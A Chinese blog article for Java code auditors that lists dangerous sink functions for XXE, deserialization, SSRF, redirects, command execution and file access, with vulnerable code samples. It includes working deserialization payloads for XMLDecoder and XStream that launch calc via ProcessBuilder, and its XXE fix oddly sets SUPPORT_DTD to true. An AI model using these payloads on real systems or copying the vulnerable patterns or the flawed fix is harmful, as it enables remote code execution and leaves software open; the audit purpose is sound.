当前位置:   article > 正文

JAVA代码审计中危险函数_java危险函数

java危险函数

JAVA代码审计中危险函数

xxe:

javax.xml.parsers.DocumentBuilder   (原生dom解析xml)

例子:

  1. DocumentBuilderFactory doc=DocumentBuilderFactory.newInstance();
  2. DocumentBuilder db=doc.newDocumentBuilder();
  3. InputStream is= new FileInputStream("test.xml");
  4. Document doc=dombuilder.parse(is); #注入点
  5. Element rootElement = document.getDocumentElement();

javax.xml.stream.XMLStreamReader    (StAX解析器,可读可写)

例子:

  1. XMLInputFactory factory = XMLInputFactory.newFactory();
  2. InputStream stream = XmlInputFactory.class.getClassLoader().getResourceAsStream("webService/xml/users.xml");
  3. XMLStreamReader reader = factory.createXMLStreamReader(stream);   #注入点
  4. while (reader.hasNext()) {...}

 javax.xml.parsers.SAXParser  /  org.xml.sax.XMLReader  (原生SAX解析xml)

例子:

  1. SAXParserFactory factory = SAXParserFactory.newInstance();
  2. SAXParser parser = factory.newSAXParser();
  3. XMLReader reader = parser.getXMLReader();   //reader.setContentHandler(new MyContentHandler());
  4. reader.parse(xmlPath);    #注入点

org.jdom.input.SAXBuilder  /  org.jdom2.input.SAXBuilder   (jdom解析xml)

例子:

  1. SAXBuilder sax = new SAXBuilder();
  2. Document doc = sax.build("src/config.xml");    #注入点

org.dom4j.io.SAXReader    (dom4j解析xml)

例子:

  1. InputStream fis=new FileInputStream("F:\\eclipsewk\\SDK201702\\Test-Pack\\package\\work\\before\\AndrdManit.xml");
  2. Document document = new SAXReader().read(fis);   #注入点

javax.xml.validation.SchemaFactory    (校验xml)

例子:

  1. File xsdfile=new File("xml/orders.xsd");
  2. File xmlfile=new File("xml/orders.xml");
  3. Handler errorHandler=new Handler();
  4. SchemaFactory schemafactory=SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); //
  5. Schema schema=schemafactory.newSchema(xsdfile);
  6. Validator vaildator=schema.newValidator();
  7. vaildator.setErrorHandler((ErrorHandler) errorHandler);
  8. vaildator.validate(new StreamSource(xmlfile));   #注入点

javax.xml.bind.Unmarshaller    (JAXB解析xml,也是实现java和xml的转换)

例子:

  1. JAXBContext jc = JAXBContext.newInstance(clazz);
  2. Unmarshaller u = jc.createUnmarshaller();
  3. u.unmarshal(new File(xmlstr));    #注入点

修复方法:

xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);

javax.xml.xpath.XPathExpression   (XPath查询)

  1. DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();    
  2. DocumentBuilder builder = df.newDocumentBuilder();
  3. String result = new XPathExpression().evaluate(builder.parse(new ByteArrayInputStream(xml.getBytes())));
  4. 值得注意的是:javax.xml.xpath.XPathExpression类似于Unmarshaller,它无法自行安全地配置,因此必须首先通过另一个安全的XML解析器解析不受信任的数据

javax.xml.transform.sax.SAXSource 、javax.xml.transform.TransformerFactory  、javax.xml.transform.sax.SAXTransformerFactory    (生成和转换xml)

Apache Commons Configuration读取xml配置

  1. XMLConfiguration.load
  2. 代码审计的时候感觉一个个搜索也很麻烦,在使用脚本前可以先全局搜索下DocumentBuilder、sax、Unmarshaller 、XPath、XMLInputFactory等字眼

反序列化漏洞:

ObjectInputStream.readObject  //最常见的反序列化sink点,将流转化为object对象

ObjectInputStream.readUnshared  //使用较少,和readobject有些区别

 readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。

XMLDecoder.readObject  //读取xml转化为object,不能进行xxe。

poc:

  1. <java>
  2. <object class="java.lang.ProcessBuilder">
  3. <array class="java.lang.String" length="1" >
  4. <void index="0">
  5. <string>c:\\windows\\system32\\calc.exe</string>
  6. </void>
  7. </array>
  8. <void method="start"/>
  9. </object>
  10. </java>

XStream.fromXML   //XStream用于java object与xml的相互转换,XStream.toXML(将java转换为xml) 

String payload = "<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>";

一些第三方jar包中的,这些第三方jar包历史版本中存在序列化漏洞 

ObjectMapper.readValue    jackson中的api
JSON.parseObject    fastjson中的api

Yaml.load

审计的时候搜索readobject、readUnshared、fromXML这些关键api

SSRF(服务器端请求伪造):

HttpClient.execute
HttpClient.executeMethod

HttpURLConnection/URLConnection

  1. // HttpURLConnection ssrf vul
  2. String url = request.getParameter ( "url");
  3. URL u = new URL(url);
  4. URLConnection urlconnection = u.openConnection( );
  5. HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
  6. BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));//触发漏洞String inputLine;
  7. StringBuffer html = new StringBuffer();
  8. while ( ( inputLine = in.readLine( )) != null) {
  9. html.append ( inputLine);
  10. }
  11. System.out.println( "html : " + html.toString());
  12. in.close();

new  HttpGet(url)

  1. String url = request.getParameter ( "url");
  2. closeableHttpClient client = HttpClients.createDefault();
  3. HttpGet httpGet = new HttpGet( url) ;
  4. HttpResponse httpResponse = client.execute(httpGet);//发起请求

OkHttpClient()

  1. String url = request.getParameter( "url");
  2. okHttpclient client = new okHttpclient();
  3. com.squareup.okhttp.Request ok_http = new com .squareup.okhttp.Request.Builder().url(ur1) .build() ;
  4. client.newCall(ok_http).execute();//发起请求

URL:URL   url = new URL()

url.openStream、ImageIO.read(url)

  1. // ImageIo ssrf vul
  2. String url = request.getParameter ( "url");
  3. URL u = new URL(url);
  4. BufferedImage img = ImageIo.read(u); //触发漏洞

其他

  1. String url = request.getParameter( "url");
  2. return Request.Get(url).execute( ) .returncontent( ).toString();//发起请求

审计的时候搜索new URL、HttpClient、HttpURLConnection

文件上传:

审计的时候搜索MultipartFile

Autobinding    //参数自动绑定漏洞:

审计的时候搜索@SessionAttributes和@ModelAttribute,属于SpringMVC框架

URL跳转漏洞:

response.sendRedirect  //重定向

response.setHeader("Location", "http://www.baidu.com");      // 也是重定向

request.getRequestDispatcher("/success.html").forward(request, response);     //请求转发

命令执行:

Runtime.exec             //Runtime.getRuntime().exec(command)
ProcessBuilder.start    //new ProcessBuilder(cmdArray).start(),取代了Process
GroovyShell.evaluate    //主要用于在java中运行Groovy脚本

  1. shell.evaluate("
  2.   static void main(String[]args){
  3.     Runtime.getRuntime().exec(command);
  4.   }
  5. ");

类似的还有GroovyClassLoader 、ScriptEngine

文件操作相关的漏洞:

最常见的就是JDK原始的java.io.FileInputStream类

JDK1.7新增的基于NIO读取文件的java.nio.file.Files类。常用方法如:Files.readAllBytes、Files.readAllLines

JDK原始的java.io.RandomAccessFile类

Apache Commons IO提供的org.apache.commons.io.FileUtils类

JDK1.7新增的基于NIO非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel类

JAVA代码审计自动化工具

地址

部分java代码分析,勿喷!!!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Guff_9hys/article/detail/827721
推荐阅读
相关标签
  

闽ICP备14008679号